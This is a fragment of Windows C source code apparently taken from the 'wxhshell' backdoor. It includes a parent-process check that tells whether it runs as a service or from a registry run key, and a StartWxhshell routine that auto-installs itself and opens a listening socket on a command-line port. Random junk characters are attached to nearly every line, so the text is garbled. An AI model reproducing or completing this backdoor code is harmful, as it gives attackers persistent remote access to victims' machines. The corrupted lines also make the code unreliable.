DWORD BasePriority; 'H&2HXw&2
ULONG UniqueProcessId; XJ` ]ga
ULONG InheritedFromUniqueProcessId; (@<c6WS
} PROCESS_BASIC_INFORMATION; ],FMwCI
9~mh@Kgv
PROCNTQSIP NtQueryInformationProcess; JedmaY06=
L>9V&\
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 8WbgSY`
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; f'-i o<.
)Sg~[WxDv
HANDLE hProcess; hjB@o#S
PROCESS_BASIC_INFORMATION pbi; dWUm\t'#
"UGY2skf;
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); _w/EP
if(NULL == hInst ) return 0; YoZFwRQU
m~P CB_ifW
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); V4P;
5[
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ;":zkb{
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); */|lJm'R
5JCG2jqx0
if (!NtQueryInformationProcess) return 0; y8L D7<1u
wrbLDod /
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Z&4&-RCi
if(!hProcess) return 0; WDc+6/<
];a=Pn-:}G
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; l@ H
@}OL9Ch
CloseHandle(hProcess); EB=-H#
jN>{'TqW4
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); D@|W<i-
if(hProcess==NULL) return 0; jR22t`4
hMUs"
<.
HMODULE hMod; GCX G/k?w:
char procName[255]; E4W -hq~
unsigned long cbNeeded; 2FF4W54I
8:>1F,
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <2|O:G
Q6AC(n@:FV
CloseHandle(hProcess); 8XzR
wYV
L
ugn3+
if(strstr(procName,"services")) return 1; // 以服务启动 Rhz_t@e
W?aI|U1
return 0; // 注册表启动 c^u"I'#Q
} .DR<Te
%K`% *D
// 主模块 Y/ee~^YxK'
int StartWxhshell(LPSTR lpCmdLine) "
'6;/N
{ qg!|l7e
SOCKET wsl; ~j5x+yC
BOOL val=TRUE; #iWSDy
int port=0; R_68-WO
struct sockaddr_in door; wX[8A/JPD
)V ;mwT!Q
if(wscfg.ws_autoins) Install(); MHai%E
n\5RAIg
port=atoi(lpCmdLine); r77PQQDT
'u_t<